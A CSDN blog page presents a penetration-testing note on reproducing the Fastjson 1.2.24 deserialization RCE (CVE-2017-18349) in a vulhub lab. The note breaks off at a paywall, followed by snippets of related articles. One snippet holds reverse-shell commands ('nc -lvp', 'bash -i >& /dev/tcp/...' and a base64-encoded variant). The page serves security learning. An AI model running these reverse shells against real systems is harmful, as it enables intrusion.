[渗透测试笔记] 48.Fastjson1.2.24反序列化漏洞复现(CVE-2017-18349)

最新推荐文章于 2024-06-19 12:51:52 发布
最新推荐文章于 2024-06-19 12:51:52 发布
阅读量2.3k 收藏
点赞数
分类专栏： 渗透测试 文章标签： java 安全 linux
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_42172261/article/details/123517673
版权
本文详细介绍了Fastjson的CVE-2017-18349漏洞，该漏洞允许攻击者通过autoType特性触发恶意类的实例化，利用Java 8u102环境下的JNDI注入执行命令。影响范围为fastjson版本小于等于1.2.24。复现过程包括环境准备、poc代码编译、启动RMI服务器以及Burp抓包改包等步骤，最终导致命令执行。
摘要由CSDN通过智能技术生成

文章目录

漏洞描述

FastJson是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。

fastjson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。

在Java 8u102环境下，没有com.sun.jndi.rmi.object.trustURLCodebase的限制，可以使用com.sun.rowset.JdbcRowSetImpl的利用链，借助JNDI(Java Naming and Directory Interface,Java命名和目录接口)注入来执行命令

影响范围

fastjson<=1.2.24

漏洞复现

开启环境，并测试是否开启成功

vulhub/fastjson/1.2.24-rce
sudo docker-cpmpose up -d
http:
了解本专栏 订阅专栏 解锁全文 超级会员免费看
H4ppyD0g
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
订阅专栏
[渗透测试笔记] 47.weblogic远程代码执行漏洞复现(CVE-2020-14882)
H4ppyD0g的博客
03-15 893
文章目录漏洞描述影响版本漏洞复现修复措施 漏洞描述 利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ，并执行任意代码，利用门槛低，危害巨大。 影响版本 WebLogic 10.3.6.0.0 WebLogic 12.1.3.0.0 WebLogic 12.2.1.3.0 WebLogic 12.2.1.4.0 WebLogic 14.1.1.0.0 漏洞复现 查看weblogic版本 http://192.168.40.128:7001/console/login
Fastjson代码执行漏洞 [CVE-2022-25845].md
07-09
Fastjson代码执行漏洞 [CVE-2022-25845]
fastjson 1.2.24 反序列化导致任意命令执行漏洞（CVE-2017-18349）
qq_51163834的博客
06-24 802
fastjson是java的一个库，可以将java对象转化为json格式的字符串，也可以将json格式的字符串转化为java对象。
Fastjson 反序列化漏洞(CVE-2017-18349)
最新发布
qq_68163788的博客
06-19 979
Fastjson 是一个 Java 库，可以将 Java 对象转换为 JSON 格式，当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象，即使是一些预先存在的没有源码的对象。
fastjson-复现笔记
Scorpio_m7
08-17 228
vulhub: 找到fastjson1.2.47rce docker-compose up -d nc -lvp 9443 attacker 反弹shell bash -i >& /dev/tcp/192.168.211.129/9443 0>&1 加密 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMS4xMjkvOTQ0MyAwPiYx}|{base64,-d}|{bash,-i} 最后的ip是apache服
【vulhub漏洞复现】Fastjson 1.2.24 反序列化(CVE-2017-18349)漏洞复现
一剑开天门！的博客
02-16 1436
【vulhub漏洞复现】Fastjson 1.2.24 反序列化(CVE-2017-18349)漏洞复现
fastjson-1.2.83 针对近期阿里fastjson包漏洞，升级解决
05-24
Fastjson 1.2.80 及之前版本使用黑白名单用于防御反序列化漏洞，经研究该防御策略在特定条件下可绕过默认 autoType 关闭限制，攻击远程服务器，风险影响较大。建议 Fastjson 用户尽快采取安全措施保障系统安全
fastjson1.2.75暂未修补的反序列化“漏洞“-附件资源
03-02
fastjson1.2.75暂未修补的反序列化“漏洞“-附件资源
fastjson-1.2.72-API文档-中文版.zip
06-06
赠送jar包：fastjson-1.2.72.jar； 赠送原API文档：fastjson-1.2.72-javadoc.jar； 赠送源代码：fastjson-1.2.72-sources.jar； 赠送Maven依赖信息文件：fastjson-1.2.72.pom； 包含翻译后的API文档：fastjson-1.2....
fastjson反序列化 CVE-2017-18349
zkaqlaoniao的博客
12-19 200
fastjson中,在反序列化的时候 jdk中 的 jdbcRowSetImpl 类一定会被执行,我们给此类中的 setDataSourcesName 输入恶意内容（rmi链接）,让目标服务在反序列化的时候,请求rmi服务器,执行rmi服务器下发的命令,从而导致远程命令执行漏洞。序列化 String json_ser = "{"@type":"com.company.Student","name":"jack"}";序列化 String json_ser2 = "{"name":"jack"}"；
JAVA安全之Fastjson反序列化漏洞原理及复现
shelter1234567的博客
10-31 853
本次测试利用fastjson反序列化漏洞，让目标主机执行命令反弹shell。
Fastjson漏洞之CVE-2017-18349
GalaxySpaceX的博客
05-20 1222
Fastjson漏洞之CVE-2017-18349
Fastjson反序列化漏洞原理与漏洞复现（基于vulhub，保姆级的详细教程）
热门推荐
Bossfrank的博客
04-12 2万+
本文是Fastjson1.2.24漏洞复现，包括漏洞原理、漏洞利用（远程创建文件）、漏洞利用（反弹shell）。使用vulhub靶场进行搭建，保姆级教程，还望大家多多支持。
Fastjson 1.2.24 反序列化（CVE-2017-18349）
黑白的博客
11-23 3379
声明 好好学习，天天向上 漏洞描述 CVE-2017-18349，前台无回显RCE fastjson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。 影响范围 fastjson<=1.2.24 复现过程 这里使用1.2.24版本 使用vulhub cd /app/vulhub-20201028/fastjson/1.2.24-rce 使用docker启动 docker-compose
【网络安全】渗透测试——FastJson漏洞原理与复现
程序员若风的博客
11-26 1222
Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库, 用于将数据在 JSON 和 Java Object 之间互相转换, 提供两个主要接口 JSON.toJSONString 和 JSON.parseObject / JSON. parse 来分别实现序列化和反序列化操作.
fastjson反序列化漏洞(CVE-2017-18349)
rumil的博客
09-19 520
fastjson中,在反序列化的时候 jdk中 的 jdbcRowSetImpl 类一定会被执行,我们给此类中的 setDataSourcesName 输入恶意内容（rmi链接）,让目标服务在反序列化的时候,请求rmi服务器,执行rmi服务器下发的命令,从而导致远程命令执行漏洞。它没有用java的序列化机制,而是自定义了一套序列化机制。"JSON.toJSONString"是Java语言中com.alibaba.fastjson.JSON类提供的一个方法,用于将Java对象转换为JSON格式的字符串。
fastjson反序列化漏洞复现过程
04-19
根据提供的引用内容，fastjson反序列化漏洞是一种安全漏洞，攻击者可以利用该漏洞在目标系统上执行恶意代码。下面是fastjson反序列化漏洞的复现过程[^1][^2]： 1. 判断是否使用Fastjson以及Fastjson版本：首先需要...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

H4ppyD0g

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值